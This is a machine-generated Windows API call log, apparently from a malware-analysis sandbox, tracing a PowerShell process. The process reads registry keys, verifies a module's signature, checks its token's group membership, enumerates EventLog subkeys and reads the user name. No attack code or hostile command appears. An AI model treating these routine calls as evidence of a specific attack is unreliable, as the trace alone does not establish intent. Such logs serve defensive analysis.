RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeea8 | out: phkResult=0x2504afeea8*=0x318) returned 0x0 [0111.599] RegQueryValueExW (in: hKey=0x318, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2504afeef8, lpData=0x0, lpcbData=0x2504afeef0*=0x0 | out: lpType=0x2504afeef8*=0x1, lpData=0x0, lpcbData=0x2504afeef0*=0x56) returned 0x0 [0111.599] RegQueryValueExW (in: hKey=0x318, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2504afeef8, lpData=0x1cbda5e6aa8, lpcbData=0x2504afeef0*=0x56 | out: lpType=0x2504afeef8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x2504afeef0*=0x56) returned 0x0 [0111.600] RegCloseKey (hKey=0x318) returned 0x0 [0111.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0111.602] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0111.602] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afee70) returned 1 [0111.602] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2504afef50 | out: lpFileInformation=0x2504afef50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0111.602] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afee30) returned 1 [0111.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0111.605] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0111.611] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afee08 | out: phkResult=0x2504afee08*=0x318) returned 0x0 [0111.611] RegQueryValueExW (in: hKey=0x318, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2504afee58, lpData=0x0, lpcbData=0x2504afee50*=0x0 | out: lpType=0x2504afee58*=0x1, lpData=0x0, lpcbData=0x2504afee50*=0x56) returned 0x0 [0111.611] RegQueryValueExW (in: hKey=0x318, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2504afee58, lpData=0x1cbda5e72d8, lpcbData=0x2504afee50*=0x56 | out: lpType=0x2504afee58*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x2504afee50*=0x56) returned 0x0 [0111.611] RegCloseKey (hKey=0x318) returned 0x0 [0111.924] CoTaskMemAlloc (cb=0x20c) returned 0x1cbd8728810 [0111.924] SHGetFolderPathW (in: hwnd=0x0, csidl=37, hToken=0x0, dwFlags=0x0, pszPath=0x1cbd8728810 | out: pszPath="C:\\WINDOWS\\system32") returned 0x0 [0111.927] CoTaskMemFree (pv=0x1cbd8728810) [0111.928] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0111.928] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0111.928] CoTaskMemAlloc (cb=0x20c) returned 0x1cbd872b070 [0111.928] SHGetFolderPathW (in: hwnd=0x0, csidl=41, hToken=0x0, dwFlags=0x0, pszPath=0x1cbd872b070 | out: pszPath="C:\\WINDOWS\\SysWOW64") returned 0x0 [0111.929] CoTaskMemFree (pv=0x1cbd872b070) [0111.929] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0111.929] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\SysWOW64", nBufferLength=0x14, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\SysWOW64", lpFilePart=0x0) returned 0x13 [0111.929] CoTaskMemAlloc (cb=0x20c) returned 0x1cbd872ac30 [0111.929] SHGetFolderPathW (in: hwnd=0x0, csidl=38, hToken=0x0, dwFlags=0x0, pszPath=0x1cbd872ac30 | out: pszPath="C:\\Program Files") returned 0x0 [0111.930] CoTaskMemFree (pv=0x1cbd872ac30) [0111.930] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x11 [0111.930] GetFullPathNameW (in: lpFileName="C:\\Program Files", nBufferLength=0x11, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files", lpFilePart=0x0) returned 0x10 [0111.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0111.932] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0111.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afed50) returned 1 [0111.933] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), fInfoLevelId=0x0, lpFileInformation=0x2504afee30 | out: lpFileInformation=0x2504afee30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9e27c602, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9e27c602, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9e27c602, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7780)) returned 1 [0111.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afed10) returned 1 [0111.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0111.938] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", nBufferLength=0x72, lpBuffer=0x1cbd873d080, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1", lpFilePart=0x0) returned 0x71 [0111.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2504afece0) returned 1 [0111.939] CreateFileW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psm1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psm1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x394 [0111.940] GetFileType (hFile=0x394) returned 0x1 [0111.940] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2504afec50) returned 1 [0111.940] GetFileType (hFile=0x394) returned 0x1 [0112.002] WTGetSignatureInfo () returned 0x0 [0113.091] CertDuplicateCertificateContext (pCertContext=0x1cbf2853140) returned 0x1cbf2853140 [0113.231] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\PowerShell\\3\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afed78 | out: phkResult=0x2504afed78*=0x5b8) returned 0x0 [0113.231] RegQueryValueExW (in: hKey=0x5b8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2504afedc8, lpData=0x0, lpcbData=0x2504afedc0*=0x0 | out: lpType=0x2504afedc8*=0x1, lpData=0x0, lpcbData=0x2504afedc0*=0x56) returned 0x0 [0113.231] RegQueryValueExW (in: hKey=0x5b8, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x2504afedc8, lpData=0x1cbda63d778, lpcbData=0x2504afedc0*=0x56 | out: lpType=0x2504afedc8*=0x1, lpData="C:\\Windows\\System32\\WindowsPowerShell\\v1.0", lpcbData=0x2504afedc0*=0x56) returned 0x0 [0113.231] RegCloseKey (hKey=0x5b8) returned 0x0 [0113.232] CoTaskMemAlloc (cb=0x10) returned 0x1cbf28ae840 [0113.232] CoTaskMemAlloc (cb=0x50) returned 0x1cbd874c060 [0113.233] WinVerifyTrust () returned 0x0 [0113.236] CoTaskMemFree (pv=0x1cbd874c060) [0113.236] CoTaskMemFree (pv=0x1cbf28ae840) [0113.237] CertFreeCertificateContext (pCertContext=0x1cbf2853140) returned 1 [0113.238] CloseHandle (hObject=0x394) returned 1 [0113.240] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.335] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.427] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0113.918] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.113] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.227] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.334] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.413] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.439] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.605] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.740] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.805] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.899] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0114.960] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.043] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.098] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.145] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.256] GetCurrentProcess () returned 0xffffffffffffffff [0115.257] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x2504afee38 | out: TokenHandle=0x2504afee38*=0x5b0) returned 1 [0115.262] GetTokenInformation (in: TokenHandle=0x5b0, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x2504afee98 | out: TokenInformation=0x0, ReturnLength=0x2504afee98) returned 0 [0115.262] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1cbf28cb8c0 [0115.262] GetTokenInformation (in: TokenHandle=0x5b0, TokenInformationClass=0x8, TokenInformation=0x1cbf28cb8c0, TokenInformationLength=0x4, ReturnLength=0x2504afee98 | out: TokenInformation=0x1cbf28cb8c0, ReturnLength=0x2504afee98) returned 1 [0115.264] LocalFree (hMem=0x1cbf28cb8c0) returned 0x0 [0115.265] DuplicateTokenEx (in: hExistingToken=0x5b0, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x2504afeef8 | out: phNewToken=0x2504afeef8*=0x5dc) returned 1 [0115.266] CheckTokenMembership (in: TokenHandle=0x5dc, SidToCheck=0x1cbda67a620*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x2504afef00 | out: IsMember=0x2504afef00) returned 1 [0115.266] CloseHandle (hObject=0x5dc) returned 1 [0115.267] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.399] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.413] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.423] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.476] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.485] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.520] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.535] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.558] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.648] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.693] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.785] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.827] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.888] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.893] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.917] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.921] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.929] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.933] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.944] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.948] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0115.988] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.051] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0116.114] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0118.945] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2504afdb90, nSize=0x80 | out: lpBuffer="ү%") returned 0x0 [0120.755] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x2504afd950, nSize=0x80 | out: lpBuffer="띿翹") returned 0x0 [0120.793] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeac8 | out: phkResult=0x2504afeac8*=0x5b0) returned 0x0 [0120.798] RegQueryInfoKeyW (in: hKey=0x5b0, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2504afeb50, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2504afeb48, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2504afeb50*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2504afeb48*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.799] CoTaskMemFree (pv=0x0) [0120.799] RegEnumKeyExW (in: hKey=0x5b0, dwIndex=0x0, lpName=0x1cbda711960, lpcchName=0x2504afebc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2504afebc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.799] CoTaskMemFree (pv=0x0) [0120.799] RegEnumKeyExW (in: hKey=0x5b0, dwIndex=0x1, lpName=0x1cbda711960, lpcchName=0x2504afebc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2504afebc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.799] CoTaskMemFree (pv=0x0) [0120.799] RegEnumKeyExW (in: hKey=0x5b0, dwIndex=0x2, lpName=0x1cbda711960, lpcchName=0x2504afebc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2504afebc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.799] CoTaskMemFree (pv=0x0) [0120.799] RegEnumKeyExW (in: hKey=0x5b0, dwIndex=0x3, lpName=0x1cbda711960, lpcchName=0x2504afebc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2504afebc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.799] CoTaskMemFree (pv=0x0) [0120.799] RegEnumKeyExW (in: hKey=0x5b0, dwIndex=0x4, lpName=0x1cbda711960, lpcchName=0x2504afebc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2504afebc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.799] CoTaskMemFree (pv=0x0) [0120.799] RegEnumKeyExW (in: hKey=0x5b0, dwIndex=0x5, lpName=0x1cbda711960, lpcchName=0x2504afebc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2504afebc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.799] CoTaskMemFree (pv=0x0) [0120.799] RegEnumKeyExW (in: hKey=0x5b0, dwIndex=0x6, lpName=0x1cbda711960, lpcchName=0x2504afebc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2504afebc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.799] CoTaskMemFree (pv=0x0) [0120.800] RegEnumKeyExW (in: hKey=0x5b0, dwIndex=0x7, lpName=0x1cbda711960, lpcchName=0x2504afebc0, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2504afebc0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0120.800] CoTaskMemFree (pv=0x0) [0120.800] RegOpenKeyExW (in: hKey=0x5b0, lpSubKey="Application", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x5f0) returned 0x0 [0120.800] RegOpenKeyExW (in: hKey=0x5f0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x0) returned 0x2 [0120.800] RegCloseKey (hKey=0x5f0) returned 0x0 [0120.800] RegOpenKeyExW (in: hKey=0x5b0, lpSubKey="HardwareEvents", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x5f0) returned 0x0 [0120.800] RegOpenKeyExW (in: hKey=0x5f0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x0) returned 0x2 [0120.800] RegCloseKey (hKey=0x5f0) returned 0x0 [0120.800] RegOpenKeyExW (in: hKey=0x5b0, lpSubKey="Internet Explorer", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x5f0) returned 0x0 [0120.801] RegOpenKeyExW (in: hKey=0x5f0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x0) returned 0x2 [0120.909] RegCloseKey (hKey=0x5f0) returned 0x0 [0120.910] RegOpenKeyExW (in: hKey=0x5b0, lpSubKey="Key Management Service", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x5f0) returned 0x0 [0120.910] RegOpenKeyExW (in: hKey=0x5f0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x0) returned 0x2 [0120.910] RegCloseKey (hKey=0x5f0) returned 0x0 [0120.910] RegOpenKeyExW (in: hKey=0x5b0, lpSubKey="OAlerts", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x5f0) returned 0x0 [0120.910] RegOpenKeyExW (in: hKey=0x5f0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x0) returned 0x2 [0120.910] RegCloseKey (hKey=0x5f0) returned 0x0 [0120.911] RegOpenKeyExW (in: hKey=0x5b0, lpSubKey="Security", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x0) returned 0x5 [0120.936] RegOpenKeyExW (in: hKey=0x5b0, lpSubKey="System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x5f0) returned 0x0 [0120.937] RegOpenKeyExW (in: hKey=0x5f0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x0) returned 0x2 [0120.937] RegCloseKey (hKey=0x5f0) returned 0x0 [0120.937] RegOpenKeyExW (in: hKey=0x5b0, lpSubKey="Windows PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x5f0) returned 0x0 [0120.937] RegOpenKeyExW (in: hKey=0x5f0, lpSubKey="PowerShell", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afeb28 | out: phkResult=0x2504afeb28*=0x65c) returned 0x0 [0120.937] RegCloseKey (hKey=0x65c) returned 0x0 [0120.937] RegCloseKey (hKey=0x5b0) returned 0x0 [0120.939] RegCloseKey (hKey=0x5f0) returned 0x0 [0121.521] CoTaskMemAlloc (cb=0x804) returned 0x1cbf298b020 [0121.521] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x1cbf298b020, nSize=0x2504afedc0 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x2504afedc0) returned 0x1 [0121.523] CoTaskMemFree (pv=0x1cbf298b020) [0121.524] GetUserNameW (in: lpBuffer=0x2504afeab0, pcbBuffer=0x2504afedd8 | out: lpBuffer="FD1HVy", pcbBuffer=0x2504afedd8) returned 1 [0121.793] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SYSTEM\\CurrentControlSet\\Services\\EventLog", ulOptions=0x0, samDesired=0x20019, phkResult=0x2504afea68 | out: phkResult=0x2504afea68*=0x664) returned 0x0 [0121.793] RegQueryInfoKeyW (in: hKey=0x664, lpClass=0x0, lpcchClass=0x0, lpReserved=0x0, lpcSubKeys=0x2504afeaf0, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2504afeae8, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0 | out: lpClass=0x0, lpcchClass=0x0, lpcSubKeys=0x2504afeaf0*=0x8, lpcbMaxSubKeyLen=0x0, lpcbMaxClassLen=0x0, lpcValues=0x2504afeae8*=0x13, lpcbMaxValueNameLen=0x0, lpcbMaxValueLen=0x0, lpcbSecurityDescriptor=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.793] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x0, lpName=0x1cbda861418, lpcchName=0x2504afeb60, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Application", lpcchName=0x2504afeb60, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.793] CoTaskMemFree (pv=0x0) [0121.793] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x1, lpName=0x1cbda861418, lpcchName=0x2504afeb60, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HardwareEvents", lpcchName=0x2504afeb60, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.793] CoTaskMemFree (pv=0x0) [0121.793] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x2, lpName=0x1cbda861418, lpcchName=0x2504afeb60, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Internet Explorer", lpcchName=0x2504afeb60, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.793] CoTaskMemFree (pv=0x0) [0121.793] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x3, lpName=0x1cbda861418, lpcchName=0x2504afeb60, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Key Management Service", lpcchName=0x2504afeb60, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.793] CoTaskMemFree (pv=0x0) [0121.794] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x4, lpName=0x1cbda861418, lpcchName=0x2504afeb60, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="OAlerts", lpcchName=0x2504afeb60, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.794] CoTaskMemFree (pv=0x0) [0121.794] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x5, lpName=0x1cbda861418, lpcchName=0x2504afeb60, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Security", lpcchName=0x2504afeb60, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.794] CoTaskMemFree (pv=0x0) [0121.794] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x6, lpName=0x1cbda861418, lpcchName=0x2504afeb60, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="System", lpcchName=0x2504afeb60, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.794] CoTaskMemFree (pv=0x0) [0121.794] RegEnumKeyExW (in: hKey=0x664, dwIndex=0x7, lpName=0x1cbda861418, lpcchName=0x2504afeb60, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Windows PowerShell", lpcchName=0x2504afeb60, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0121.794] CoTaskMemFree (pv=0x0) [0121.794] 